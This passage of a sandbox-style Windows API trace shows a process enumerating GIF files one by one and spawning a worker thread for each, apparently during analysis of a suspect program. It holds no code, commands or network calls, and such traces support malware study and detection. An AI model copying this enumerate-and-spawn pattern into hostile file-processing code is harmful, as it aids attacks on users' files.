	[0254.630] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.631] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce1f900, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce1f900, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01219_.GIF", cAlternateFileName="")) returned 1
	[0254.631] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c8
	[0254.633] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.634] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f000, ftCreationTime.dwHighDateTime=0x1bd4e6c, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f000, ftLastWriteTime.dwHighDateTime=0x1bd4e6c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01237_.GIF", cAlternateFileName="")) returned 1
	[0254.634] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28cc
	[0254.635] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.636] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe368b800, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe368b800, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x167, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01238_.GIF", cAlternateFileName="")) returned 1
	[0254.636] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28d0
	[0254.638] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.638] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa57200, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbfa57200, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01239_.GIF", cAlternateFileName="")) returned 1
	[0254.638] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f508910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28d4
	[0254.640] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.641] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d80d00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1d80d00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01240_.GIF", cAlternateFileName="")) returned 1
	[0254.641] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50f6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28d8
	[0254.643] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.643] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x866d0200, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x866d0200, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01241_.GIF", cAlternateFileName="")) returned 1
	[0254.643] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f512db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28dc
	[0254.645] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.646] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e14c700, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e14c700, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01242_.GIF", cAlternateFileName="")) returned 1
	[0254.646] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f516490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28e0
	[0254.647] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.648] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b01f700, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b01f700, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01243_.GIF", cAlternateFileName="")) returned 1
	[0254.648] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.053] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28e4
	[0255.055] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.056] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b82ae00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b82ae00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01244_.GIF", cAlternateFileName="")) returned 1
	[0255.056] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28e8
	[0255.058] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.059] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x545ba000, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x545ba000, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01245_.GIF", cAlternateFileName="")) returned 1
	[0255.059] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28ec
	[0255.061] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.061] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fde00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fde00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01246_.GIF", cAlternateFileName="")) returned 1
	[0255.061] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50f6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28f0
	[0255.063] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.064] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d7f5e00, ftCreationTime.dwHighDateTime=0x1bd4e68, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d7f5e00, ftLastWriteTime.dwHighDateTime=0x1bd4e68, nFileSizeHigh=0x0, nFileSizeLow=0xff7, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01253_.GIF", cAlternateFileName="")) returned 1
	[0255.064] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f512db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28f4
	[0255.065] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.066] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550b600, ftCreationTime.dwHighDateTime=0x1bd4e65, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9550b600, ftLastWriteTime.dwHighDateTime=0x1bd4e65, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01268_.GIF", cAlternateFileName="")) returned 1
	[0255.066] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f516490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28f8
	[0255.068] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.069] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc336fa00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc336fa00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01292_.GIF", cAlternateFileName="")) returned 1
	[0255.069] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f519b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28fc
	[0255.071] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.072] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0fec00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc0fec00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2a7, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01293_.GIF", cAlternateFileName="")) returned 1
	[0255.072] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f51d250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2900
	[0255.075] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.075] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0242a00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0242a00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2ad, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01294_.GIF", cAlternateFileName="")) returned 1
	[0255.075] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f520930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2904
	[0255.078] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.078] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3725d200, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3725d200, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x161, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01295_.GIF", cAlternateFileName="")) returned 1
	[0255.078] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f524010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2908
	[0255.081] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.081] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x997dd300, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x997dd300, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x1ef, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01296_.GIF", cAlternateFileName="")) returned 1
	[0255.082] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f5276f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290c
	[0255.084] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.085] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9387f200, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9387f200, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01297_.GIF", cAlternateFileName="")) returned 1
	[0255.085] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f52add0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2910
	[0255.227] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.228] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d921100, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d921100, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01298_.GIF", cAlternateFileName="")) returned 1
	[0255.228] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2914
	[0255.230] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.230] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d77c00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82d77c00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01299_.GIF", cAlternateFileName="")) returned 1
	[0255.230] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2918
	[0255.232] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.233] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794e1400, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x794e1400, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01300_.GIF", cAlternateFileName="")) returned 1
	[0255.233] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x291c
	[0255.235] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.236] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74896000, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74896000, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2a9, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01301_.GIF", cAlternateFileName="")) returned 1
	[0255.236] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2920
	[0255.238] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.238] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a0ea00, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a0ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x2076, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01304G.GIF", cAlternateFileName="")) returned 1
	[0255.899] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2924
	[0255.901] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.902] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4c9d300, ftCreationTime.dwHighDateTime=0x1bd4e62, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4c9d300, ftLastWriteTime.dwHighDateTime=0x1bd4e62, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01330_.GIF", cAlternateFileName="")) returned 1
	[0255.902] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2928
	[0255.904] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.904] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x976a4300, ftCreationTime.dwHighDateTime=0x1bd4e6c, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x976a4300, ftLastWriteTime.dwHighDateTime=0x1bd4e6c, nFileSizeHigh=0x0, nFileSizeLow=0x899, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01734_.GIF", cAlternateFileName="")) returned 1
	[0255.904] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x292c
	[0255.906] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.907] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b18d700, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b18d700, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01740_.GIF", cAlternateFileName="")) returned 1
	[0255.907] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2930
